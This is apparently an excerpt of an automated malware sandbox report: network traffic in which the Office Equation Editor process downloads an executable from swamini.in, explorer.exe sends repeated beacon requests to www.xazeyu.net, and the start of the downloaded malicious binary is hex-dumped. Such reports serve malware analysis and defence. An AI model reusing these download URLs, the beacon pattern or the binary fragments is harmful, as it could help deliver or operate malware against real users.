Nov 21, 2023 13:27:15.362652063 CET	364	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 21 Nov 2023 12:27:15 GMT Content-Type: text/html Content-Length: 291 Connection: close ETag: "6552b2aa-123" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" /> <title>Forbidden</title> </head> <body> <h1>Access Forbidden</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49167	103.150.181.71	80	1244	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2023 13:27:36.955003023 CET	365	OUT	GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1 Host: www.xazeyu.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2023 13:27:41.824326038 CET	365	OUT	GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1 Host: www.xazeyu.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2023 13:27:51.543101072 CET	365	OUT	GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1 Host: www.xazeyu.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2023 13:28:10.996438980 CET	366	OUT	GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1 Host: www.xazeyu.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2023 13:28:30.511953115 CET	366	OUT	GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1 Host: www.xazeyu.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2023 13:28:49.980819941 CET	366	OUT	GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1 Host: www.xazeyu.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2023 13:29:28.871623993 CET	367	OUT	GET /t2ti/?4hO02rc=7DxIxXtD0cmaaH8JRCp3g1LIg+NFO3IPyGr0LK1dljwtKxPhU92HBtbpaOBLFPespYq5Bw==&ll=NdqLMf HTTP/1.1 Host: www.xazeyu.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49162	103.224.247.210	443	1668	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
2023-11-21 12:25:56 UTC	0	OUT	GET /wp-content/uploads/wpr-addons/forms/balokarat2.1.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Connection: Keep-Alive Host: swamini.in
2023-11-21 12:25:57 UTC	0	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 21 Nov 2023 10:13:50 GMT Accept-Ranges: bytes ETag: "7ee53f6c631cda1:0" Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Strict-Transport-Security: max-age=15768000; includeSubDomains Date: Tue, 21 Nov 2023 12:25:54 GMT Connection: close Content-Length: 345522
2023-11-21 12:25:57 UTC	0	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 30 28 81 e9 51 46 d2 e9 51 46 d2 e9 51 46 d2 2a 5e 19 d2 eb 51 46 d2 e9 51 47 d2 71 51 46 d2 2a 5e 1b d2 e6 51 46 d2 bd 72 76 d2 e3 51 46 d2 2e 57 40 d2 e8 51 46 d2 52 69 63 68 e9 51 46 d2 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 65 3a ff 56 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 5c 00 00 00 d6 01 00 00 04 00 00 fb 30 00 00 00 10 00 00 00 70 00 00 00 00 40 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$0(QFQFQF^QFQGqQF^QFrvQF.W@QFRichQFPELe:V\0p@
2023-11-21 12:25:57 UTC	16	IN	Data Raw: 08 04 00 00 0f 85 d2 00 00 00 f6 05 59 3f 42 00 02 75 76 39 45 0c 74 09 8b 4d 14 83 79 08 fe 75 68 33 c9 39 45 0c 0f 95 c1 51 ff 75 fc e8 9b fc ff ff 3b c7 7c 53 8b c8 69 c9 18 04 00 00 8d 54 19 08 8b 0a f6 c1 10 75 40 f6 c1 40 74 14 81 f1 80 00 00 00 84 c9 79 05 83 c9 01 eb 08 83 e1 fe eb 03 83 f1 01 50 89 0a e8 8a c6 ff ff a1 58 3f 42 00 33 c9 f7 d0 41 c7 45 0c 0f 04 00 00 c1 e8 08 23 c1 89 4d 10 89 45 14 39 7d f4 74 4e 8b 45 f4 81 78 08 6e fe ff ff 75 0e ff 70 5c 57 68 19 04 00 00 ff 75 fc ff d6 8b 45 f4 81 78 08 6a fe ff ff 75 28 83 78 0c 02 75 12 8b 40 5c 69 c0 18 04 00 00 8d 44 18 08 83 08 20 eb 10 8b 40 5c 69 c0 18 04 00 00 8d 5c 18 08 83 23 df 81 7d 0c 11 01 00 00 75 72 66 81 7d 10 f9 03 0f 85 48 02 00 00 8b 45 10 c1 e8 10 66 3d 01 00 0f 85 38 02 Data Ascii: Y?Buv9EtMyuh39EQu;\|SiTu@@tyPX?B3AE#ME9}tNExnup\WhuExju(xu@\iD @\i\#}urf}HEf=8
2023-11-21 12:25:58 UTC	32	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 Data Ascii:
2023-11-21 12:25:58 UTC	48	IN	Data Raw: 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:
2023-11-21 12:25:58 UTC	64	IN	Data Raw: ee ce 9a 0c 90 09 7c 39 b1 7f 99 4b da fe 93 df 8a 39 fe de e3 7a 6a d4 98 6d 42 84 51 4f cb f7 4e 43 e9 e7 11 5e f6 01 90 a7 c6 d8 00 76 8b 2c e7 46 2f 28 71 18 e4 0c 63 e9 28 ee b0 65 e7 a6 c1 3f 4b c7 b2 5b 97 b3 da 98 e4 ec 6c 05 b8 13 97 76 80 7b 34 4e d7 c8 0d ef 50 bf 7c c6 80 fb 7c 4c 00 e7 f6 20 30 a1 ff 59 04 3c 11 3a eb b3 a8 92 d7 38 6a 90 55 bc ef bb 7e 9b 81 9d 9c 0e 59 26 ff 14 59 e4 ac 98 88 b6 a9 f8 36 b2 c4 7d 0b 0e c7 cd 62 97 ab 00 b4 0b b7 57 e1 1e 4d 43 14 c5 24 41 c8 0d f1 21 b8 e9 bd 4a 3d 14 48 ca 22 ab 2d 59 a6 5a 44 ad e7 ad f3 af 04 35 0c 69 07 cd 3f 9e 5c 38 74 40 6d e5 c9 27 58 ea 8f e6 61 0b cb 51 df 45 d1 fc c0 04 5d 1e e1 ed 09 75 a0 01 e8 62 cb e2 8d 19 49 a6 4e d5 5a cd e5 fa 88 da be c9 24 e9 c9 fc 0d e9 a1 1f 56 70 1b Data Ascii: \|9K9zjmBQONC^v,F/(qc(e?K[lv{4NP\|\|L 0Y<:8jU~Y&Y6}bWMC$A!J=H"-YZD5i?\8t@m'XaQE]ubINZ$Vp
2023-11-21 12:25:58 UTC	80	IN	Data Raw: 41 36 69 a3 b1 a0 c1 52 7a ca fb 46 46 90 ba 5d 28 cb 68 53 1c 2a 5a d0 00 7e f4 9c 36 d0 57 dd 61 c8 16 27 65 a7 8d c6 2b fa 69 43 9a 70 7f 4a 93 e0 14 d0 b5 58 f5 d0 73 3e bf e2 aa cd 13 c6 a9 6f 26 e2 76 32 85 9a ef 62 13 ba 58 b9 fc 0a 92 26 02 1b a5 b8 a7 49 33 ce e2 6e d2 74 72 13 c9 da 08 19 32 60 df b9 be 2e da 2f 8f 16 c2 d5 c0 45 cb 00 5d db d7 fd 22 6e f8 cb 90 18 63 c5 53 b4 93 db b1 c5 fa 30 57 2c 4c 84 c0 39 f6 72 27 74 d5 f4 b2 79 6c 64 9d c2 cf 5c b9 0b e3 53 89 b5 be 6c 35 dd 41 af 65 c6 41 e1 f6 e3 18 91 fa d0 d2 bf 39 39 1a 23 d5 83 dc 06 63 24 64 10 a3 08 6d cb 83 1a 58 9f cc 40 10 38 ae ab 5e 93 4e 2a 97 50 fb 10 56 59 ec eb 0d c0 c1 57 35 03 5b 86 73 2c 02 6c 41 bd a0 e1 b1 d9 43 37 a0 84 8e 5b ab 93 ad e0 46 07 dc ec 7e 1e 66 7e 7b Data Ascii: A6iRzFF](hSZ~6Wa'e+iCpJXs>o&v2bX&I3ntr2`./E]"ncS0W,L9r'tyld\Sl5AeA99#c$dmX@8^NPVYW5[s,lAC7[F~f~{
2023-11-21 12:25:58 UTC	96	IN	Data Raw: b0 93 7b e8 5a 0a 62 74 0a 98 c6 02 23 7e 5e 91 48 b4 65 90 b8 b7 89 3e 68 76 98 21 46 df 50 8d 26 fd 92 1a 28 5e d4 cc e0 99 93 c2 8b b5 b6 2d 21 b5 62 ac 56 c3 eb a5 34 07 3a e7 29 17 3e 09 75 31 d4 b8 b5 84 f5 44 d4 3d 1f f0 72 40 a8 8d b4 a9 84 09 41 aa 0a 33 ae ac 7b 10 58 cd 0a c9 7a 53 25 7b 50 2d c1 25 00 a0 1f b3 c3 45 92 b8 7b b9 c0 0d c5 2a f6 af e1 52 7f e3 6a 6b 91 36 ec 72 7e 1f 7b db 23 c1 a6 58 89 f1 8d c5 c5 db 34 15 f4 ca c8 bb 06 f1 48 e8 47 ca 2e b4 3a ff 5c e6 37 a7 47 2d 93 75 ab b5 10 c0 f8 80 f6 02 e0 e3 94 15 f4 1b cc 45 7f bc 13 21 af 00 83 5a f0 4f ea 63 a3 02 2b f4 ec 6c e8 d8 50 59 ce 82 65 f1 f5 4e a9 41 66 fc 80 33 38 a7 be c9 4c 02 a9 e7 dc 0e 41 09 70 e0 54 ba 0b d7 cc 80 36 be d0 d5 87 e7 47 92 fe f6 18 49 ea d7 5c f2 d9 Data Ascii: {Zbt#~^He>hv!FP&(^-!bV4:)>u1D=r@A3{XzS%{P-%E{*Rjk6r~{#X4HG.:\7G-uE!ZOc+lPYeNAf38LApT6GI\
2023-11-21 12:25:58 UTC	112	IN	Data Raw: 0c 60 30 3d 50 21 b0 35 bc 83 27 f0 e5 e9 3a 07 18 d5 e5 76 c8 27 eb 62 56 d4 28 fe 65 59 4c a3 2b a7 60 37 40 82 d6 82 6a 96 fb 27 a5 62 ab 20 5a 77 51 67 f1 04 f6 7b 55 4d 86 37 ea b2 2c 89 0a 2b d5 84 fe 1f 20 cf c3 1f 67 72 56 cc a4 b6 66 1d 94 6f 9a 1b c8 4b 1a ce b5 3c e5 9b 57 bf 16 1f bd 36 41 c5 90 a1 d4 a7 6c cc d3 42 8e c4 3d 15 e0 64 49 d1 c7 3e 80 1a dd ce f4 4c 55 08 6c 75 03 5b c3 72 e2 38 47 75 3b 5c 7a 6e d7 74 9c d4 77 42 fd e3 e7 6f 35 16 9b 89 41 21 23 de 01 b2 dd 3c 04 3f f9 7a de c7 ca f4 4b 02 ac 34 1e 54 0a 74 62 cc 75 dd 77 31 02 b2 8d 6c 37 86 09 26 53 04 8d b4 62 e2 b3 7d fa 2e b2 22 4b 8e 48 42 fa bb a2 a1 47 bc 85 56 8f 29 b4 48 cb 13 66 87 f9 c9 6a 1a 90 26 06 8d f6 d3 81 23 ea 58 e2 bd 7c 3b ef 69 1a a6 56 ec 17 22 3d 15 2a Data Ascii: `0=P!5':v'bV(eYL+`7@j'b ZwQg{UM7,+ grVfoK<W6AlB=dI>LUlu[r8Gu;\zntwBo5A!#<?zK4Ttbuw1l7&Sb}."KHBGV)Hfj&#X\|;iV"=*
2023-11-21 12:25:58 UTC	128	IN	Data Raw: ba 90 84 78 9d f3 d2 27 cb a5 a7 e7 6b 9e ab 46 83 ba ca 17 46 dd 43 d2 40 de f7 2f f8 8c 59 5d 02 c8 f6 99 7c ea cc 29 39 f2 06 77 c9 d0 dc 93 1d 21 7a 49 1a 64 27 2a e9 77 3f 5d 19 54 39 6e b1 aa e2 39 c1 85 10 84 48 e2 51 69 cd 8d b0 4d 0d 88 51 91 e9 c9 8a 63 e4 db 45 e2 d3 83 21 62 07 e2 b1 60 5b ec 79 4e 27 60 42 3f 7e 4f d8 56 42 7b c2 30 86 ac c3 42 6d 80 e7 d5 3a e8 a6 b8 2a 55 1e ac aa bb da 4f 1c 25 4a 6e ac 62 35 b4 da 50 51 d7 51 96 b5 32 ec 09 a9 13 29 31 90 e2 40 f5 0f d4 40 64 46 71 86 56 82 fb 55 08 2f 49 1d 42 e8 15 17 df 67 48 35 31 eb 13 f8 f5 51 5f ff 47 6d 70 e8 9f ee 02 1b 00 e9 ae 05 dd bd 01 3b 65 f6 d3 c1 0c e4 11 47 f6 b1 ce bf 83 b5 64 04 7e a0 1b b9 e2 ae c8 c5 16 ff 9c 88 5d 0d bb 8b 48 c8 1b ae 00 66 70 20 5c d3 81 e6 b9 76 Data Ascii: x'kFFC@/Y]\|)9w!zId'w?]T9n9HQiMQcE!b`[yN'`B?~OVB{0Bm:UO%Jnb5PQQ2)1@@dFqVU/IBgH51Q_Gmp;eGd~]Hfp \v
2023-11-21 12:25:58 UTC	144	IN	Data Raw: 06 f3 43 09 19 b3 d3 13 67 c3 81 bd 5b 43 c5 7f 74 6e 1c bc 3e 5e 74 b4 4a b9 45 0d aa 32 7f e7 31 c9 30 70 b4 34 8a fa cc 0a f7 3f f8 99 45 b5 63 64 f6 60 9e 9d 12 24 ab 81 b9 80 9b 92 e8 b4 e1 3f e0 ad 01 1c 0f 0a 7f f7 e6 d1 c0 3a 48 38 2a 7c c8 78 b9 a4 5f 0a 46 a1 08 2b bc 34 8e 0c d3 66 c2 36 91 66 6e 53 1a 6a 7d 21 96 7a 48 9f 18 62 40 19 1a 9b fa c1 f3 4b 8c c3 06 04 7e d9 4d da b3 0a 0b 39 32 b1 27 0a 70 50 d2 cf 60 96 14 f1 2d fa 5a a4 78 e6 1e 49 25 1d 87 36 8a 29 a4 fd 06 73 9a f2 6d 4e e1 e8 fb a2 30 ff 58 65 78 38 b9 49 68 ec a0 52 c7 4f 3c 63 ae a8 f8 94 d9 e0 97 b3 df 8a 14 f8 bf de ba f7 f4 98 34 c2 ea 6d c8 ab d8 ee 4f 86 84 ae 3a e2 b5 5f 2f 41 b9 92 31 29 98 76 8a 87 5d 28 1c e1 2b ed 38 ef 02 d8 dc fb 60 4f 05 64 01 ab 2a 9e 92 1a 05 Data Ascii: Cg[Ctn>^tJE210p4?Ecd`$?:H8\|x_F+4f6fnSj}!zHb@K~M92'pP`-ZxI%6)smN0Xex8IhRO<c4mO:_/A1)v](+8`Od
2023-11-21 12:25:58 UTC	160	IN	Data Raw: 6c 0a 1c 7e fc 0c 8c c6 6b 0b 8b a8 ea d6 3b d3 91 22 ba 9e bb ac 0e 26 ad 59 e5 f0 22 01 89 35 93 06 08 63 09 69 e3 30 34 17 16 e5 1b 27 ea 1f e0 06 ee 83 13 7f 54 cd 83 d4 76 e1 6b c0 97 59 3b ce 5e 02 e8 39 b8 74 d1 c2 ed 6c 8b ee 39 cc 63 f0 46 4e 90 f8 2c 92 fa 61 c8 ee 1a 17 a4 bf 00 93 4d 19 54 25 87 0e 3e c7 16 a6 c7 4a 64 9f c6 26 3b 4c 89 c5 a7 61 d2 5e ba d3 c1 e1 f8 fa 1a c6 05 12 a5 84 4f 88 58 6d ae b4 3d cd 27 5b 0a fd ed 44 ee fe 61 b5 fa 26 da 09 05 82 c4 40 0b 69 15 d3 34 97 11 ef 2f a3 c4 d4 40 80 b9 42 92 0b 9a 1c 81 99 09 0d 2c 69 01 e0 e3 18 35 c5 8a e6 3a 2c 7c 13 e9 05 25 34 d8 79 5e 8d 37 e1 b4 d8 66 5e 1e fb 20 ec 1a 80 d9 1e 8c 35 bd 91 9d d2 07 b1 9d 84 4c 99 56 cd 49 73 77 b4 e2 c4 9d d6 9c 9b ff 99 a3 c3 84 06 5e 54 ad e9 c6 Data Ascii: l~k;"&Y"5ci04'TvkY;^9tl9cFN,aMT%>Jd&;La^OXm='[Da&@i4/@B,i5:,\|%4y^7f^ 5LVIsw^T
2023-11-21 12:25:59 UTC	176	IN	Data Raw: 8b b1 b6 b8 7a f3 f8 58 26 66 41 46 8f 50 72 cf 4e 58 87 bd fb 3e da 01 20 96 5b 27 90 5c f8 20 4f e9 b5 11 ed c6 5e f7 6a 7a 89 5b 5f ff b3 b5 c9 40 4d 91 fb 49 fa 62 92 4b cc 41 0a 50 6e 0e 99 1d b7 73 50 8b 1e b3 bb 15 13 54 44 f0 1b ab 37 06 33 5b 06 da eb 13 16 53 9b ac a5 6d 88 cf 1a 9c e5 15 cd 2d b1 f9 64 fa ad 87 5a 9e ce 78 e1 82 ec ca 99 6c 65 97 45 86 8b 7b 66 80 5f 10 96 29 8f e6 56 45 84 38 e4 13 10 b7 41 58 db dd 90 a9 02 f3 67 db d0 e0 4a e8 da 81 96 6c b9 5c 11 82 75 b3 45 46 e3 25 8f 06 45 15 bb 84 2e fc 44 a7 d7 82 cc cd 28 7d c3 7f 63 9b af e9 7b 61 76 3f 35 a9 34 75 51 78 fb c4 41 3f 1b 4b 1d 13 79 b4 c9 4e 7a e6 43 ee 5c 3d 3c 79 1f 83 53 0c 71 52 2b 31 8d b3 bb 89 68 c5 77 86 12 43 e3 59 57 b6 34 05 e9 65 2e 8f 9d 5f 14 40 ed f3 14 Data Ascii: zX&fAFPrNX> ['\ O^jz[_@MIbKAPnsPTD73[Sm-dZxleE{f_)VE8AXgJl\uEF%E.D(}c{av?54uQxA?KyNzC\=<ySqR+1hwCYW4e._@
2023-11-21 12:25:59 UTC	192	IN	Data Raw: 55 3a 38 9c ce 12 90 85 ff 57 4b 8a fe 69 91 a5 c4 68 90 bd c7 19 fd 4a dc 31 99 02 57 dd 4b 38 79 0f 43 b6 de 2d b8 27 31 b8 c3 74 4b 4b 83 9f 0b 55 3f 29 e5 18 21 9f 25 54 0c 4c f1 0e bd 36 37 1a c2 9a 5c 5f 27 fe 72 09 ab eb e1 f0 5f e7 eb d3 cd e8 e1 b3 23 3c dc f3 f2 8e 10 40 9a 62 6e 1a c9 8e 96 bf a8 a8 e6 12 56 65 2e 5b cc da d4 cb 3c 60 46 92 e4 2c 92 dd 50 35 5c a6 9c cc be 0c a0 e6 f7 18 1a 15 a5 86 53 ca 80 69 65 d9 8d eb 8e 6e 2a fb 93 99 19 9b 0e cc 6b 80 61 56 b4 f0 9f 08 55 3d de bc 55 e5 ae 9a e3 78 00 d6 56 f5 b5 dc ab 4b fd f7 89 ec 77 13 08 9d 34 31 c2 b7 8b 1c e1 5b 34 9f 19 aa 8a 2f c5 b1 d9 d9 e3 fd 17 1f 4b c7 a3 fa d8 20 0e ff c1 2f 7f b3 01 a1 06 5f 7d bd b1 e0 1c c7 44 30 b8 91 67 ec 7d 28 d6 4b 06 88 71 58 d7 59 e7 b7 77 c7 8f Data Ascii: U:8WKihJ1WK8yC-'1tKKU?)!%TL67\_'r_#<@bnVe.[<`F,P5\Sien*kaVU=UxVKw41[4/K /_}D0g}(KqXYw
2023-11-21 12:25:59 UTC	208	IN	Data Raw: 4c 1f f7 93 d0 5a d1 03 09 e8 4e 76 09 a0 12 bd d0 27 37 9e da f0 de 7d ca 82 8c cd 67 a5 b6 f2 a0 f7 75 58 66 ed 05 f6 1e e2 9c e6 c3 d1 7d e1 67 54 69 f2 36 68 27 b6 2b d8 3b df 38 d8 47 a7 14 b0 e3 f4 3f 89 cc 5f 59 85 19 d9 97 7d a4 c6 ac 32 5b 56 38 1e 62 cc b7 4a b4 71 e7 b5 96 ff c6 8f 8b 59 bd fa 16 22 32 3d 3d df 3c 45 76 85 b1 f0 0b e2 46 d8 16 30 f3 a2 f1 50 b8 d9 7a e5 64 89 95 6c 03 06 ac 55 e7 f9 b9 02 35 91 03 af ba 62 87 59 d3 9e 7c 92 5c 0a 98 ac dc 6d c4 b5 ed 01 cf e9 a0 16 d6 64 7e 4b 59 af 33 6a 81 4e 57 35 24 13 dd 11 52 f8 98 57 41 94 24 c2 be 42 6f f4 c8 a6 29 e4 db 7d 04 b7 a7 a2 7c f1 90 64 28 6d c2 6c 0d 5c 1e 2f 8a 0a c6 5d b5 59 7f b2 8c 5d a5 0c cf 7b 1e 6f 79 51 57 d4 3b cc be f5 a1 22 a1 d0 11 22 11 1b bc 1c 33 47 63 bd 2c Data Ascii: LZNv'7}guXf}gTi6h'+;8G?_Y}2[V8bJqY"2==<EvF0PzdlU5bY\|\md~KY3jNW5$RWA$Bo)}\|d(ml\/]Y]{oyQW;""3Gc,
2023-11-21 12:25:59 UTC	224	IN	Data Raw: 8e fc 0c 70 07 e7 1d 87 4c 8e d7 84 3c 61 95 45 3d 5f 06 6c b2 17 aa a3 b6 e7 60 7d 8d 70 fa 47 28 fe 67 26 f2 f0 34 8b 33 fc af ee 04 86 2a 0d 2f 57 3d dd ed 94 40 d2 2a 95 fb 88 ec 02 b1 25 8e 68 0b d5 13 5e af 7a c7 ad c1 8c 27 00 e9 83 9a b4 bc 8a f1 1e 8e 2a 85 9a 58 5c 12 6e a8 20 3d ef ce 24 a3 11 7e 6c df ff 70 a0 a2 9f 19 ac f5 e0 fb e0 60 0e b8 ee 1c 62 d5 6f 8b 49 04 70 d1 a7 db 18 2a ac d2 bf 43 1d 0e 18 e4 39 8a 7d 73 de ef 30 ee 0d f2 5c f1 35 50 0e 98 79 21 e5 8f 65 10 4b d7 9e b3 9c 5c 4d a0 cd 48 28 8b b9 f9 cc 91 98 f3 15 6d 48 19 d1 18 32 62 e3 b0 2a ce 1c 6d 28 45 a4 d4 b3 5d 87 3e 9e 7b bb 6d 0c 87 bf 6a 0a c9 7b d0 0c 08 29 bf 69 0f 9d b7 0e 51 90 c5 be 23 c0 d2 28 78 ff bc a0 ce 0d f0 49 2c 82 b6 4c b8 1d 23 50 24 f1 4b a5 42 49 a5 Data Ascii: pL<aE=_l`}pG(g&43/W=@%h^z'X\n =$~lp`boIpC9}s0\5Py!eK\MH(mH2b*m(E]>{mj{)iQ#(xI,L#P$KBI
2023-11-21 12:25:59 UTC	240	IN	Data Raw: de 72 16 bc 5a e2 74 6d ea 12 2a 13 e5 e7 50 9a 28 34 dd 17 d1 e0 49 06 d5 b2 82 0d 1c dc ba 83 9a 5b 11 59 89 d8 5d 54 83 02 fc a0 42 4e e7 1f e1 45 5f c5 c8 22 df 62 6a 86 56 e3 b3 27 42 2a 8b 1d f4 3e c4 91 88 f2 26 f3 a0 58 90 c4 4c 73 b3 83 bd a3 f0 51 87 32 dd c2 ba 45 4b 76 63 28 01 7e 62 08 ca ff a3 3f 01 7c ef b2 42 78 29 e4 7b 8e e2 55 1d 68 55 81 f2 c4 f3 b1 19 66 1e a4 bd 36 10 96 fe de 34 02 c9 e6 38 61 a0 4e 2e bc 11 2a 24 53 94 b2 e4 89 c5 68 9b dd d6 fd 54 0b ff 8f 2e b2 9d 33 3b 93 cf 4b d7 0b 42 b6 50 36 80 ef d0 6e 2e ea 18 db 96 64 f8 f1 fb 08 3b 17 9d 65 b6 e2 64 22 de b3 d7 db 03 88 02 d3 61 9c 97 26 9d 39 63 ed 81 0f 08 3b b4 7f 96 54 60 b4 47 54 15 a9 7e a6 54 94 4a a1 0d 9b fb f2 f1 39 43 8f 3d ff 0b 69 57 d5 d9 5f 6e 33 3c 8f b9 Data Ascii: rZtmP(4I[Y]TBNE_"bjV'B>&XLsQ2EKvc(~b?\|Bx){UhUf648aN.*$ShT.3;KBP6n.d;ed"a&9c;T`GT~TJ9C=iW_n3<
2023-11-21 12:25:59 UTC	256	IN	Data Raw: 9c f7 e1 2a c1 bf 94 8d 91 20 a1 80 e2 d9 c0 43 1e ea 5d 73 7f 26 2d a6 f0 e0 f1 73 11 07 f1 5b 62 09 14 9c a2 1e a6 84 d0 ff fd 3e 6d a3 b7 e4 fe 36 bc 6e af ec ef 24 35 c2 08 b7 54 92 7a aa dd 21 46 13 b6 71 42 e5 17 5c 58 1d 6d 80 0f 93 d4 27 7e de 53 53 0a f5 5f bb 86 71 cd c4 f7 be 2b 29 ea 14 e4 3c 18 ff 1f 5b 6a 70 ab b1 e8 78 bf ba 42 22 86 82 14 b5 be 80 61 f5 ab 7d 93 55 c0 a7 d1 ee 26 cb 3b b7 bb a1 c2 7c dc a6 d7 a3 8b 16 83 f9 88 aa e6 75 c1 1d 57 7a 92 35 b6 f1 37 3c 01 94 8a ec 69 a9 58 7d 3b 11 88 dd 6c 52 6c 84 06 5a 21 bb 57 47 66 14 ed 69 79 66 c2 42 d2 de ef cc a4 e7 a1 13 af 9c 5a 50 a8 08 8c ca 0c 